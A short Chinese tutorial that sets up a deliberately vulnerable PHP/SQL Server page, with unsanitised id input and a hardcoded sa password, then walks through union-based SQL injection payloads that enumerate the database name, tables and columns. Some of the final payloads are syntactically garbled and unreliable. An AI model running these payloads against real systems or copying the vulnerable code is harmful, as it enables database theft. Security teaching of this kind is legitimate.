赞
踩
在www目录下添加一个php文件,源码如下:
<?php header("Content-Type:text/html;charset=gbk"); $conn = sqlsrv_connect('localhost', array('Database' => 'text', 'UID' => 'sa' , 'PWD' => '123.com')); if($conn == false){ var_dump(sqlsrv_errors());exit; } $id = $_GET["id"]; $sql = "SELECT * FROM users where id = $id"; echo $sql; echo "<hr>"; $result = sqlsrv_query($conn, $sql); var_dump(sqlsrv_errors()); echo "<hr>"; if ( $re = sqlsrv_fetch_array($result)) { echo $re['id']; echo "<hr>"; echo $re['username']; echo "<hr>"; echo $re['password']; echo "<hr>"; } echo "finish"; ?>
id=1 order by 3
当输入4时报错,说明显示位有三个
使用函数db_name()
id=-1 union select null,db_name(),null
将获取到的数据库名与.sys.sysobjects
拼接
id=-1 union select top 1 null,name ,null FROM text.sys.sysobjects where xtype = 'U'
top 1
代表只显示第一列数据
如果想显示更多数据在后面加and name != '第一次输出中的表名'
以此类推,如:
id=-1 union select top 1 null,name ,null FROM text.sys.sysobjects where xtype = 'U' and name != 'users' and name != '第二次输出中的表名'
xtype = 'U'
代表指定显示用户创建的表
id=1 Select name from 你的数据库.sys.syscolumns Where ID =OBJECT_ID('第一次输出中的表名' and name != '第二次输出中的表名')
or
id=1 Select name from 你的数据库.sys.syscolumns Where ID =OBJECT_ID('数据库.dbo.表名')
效果如下:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。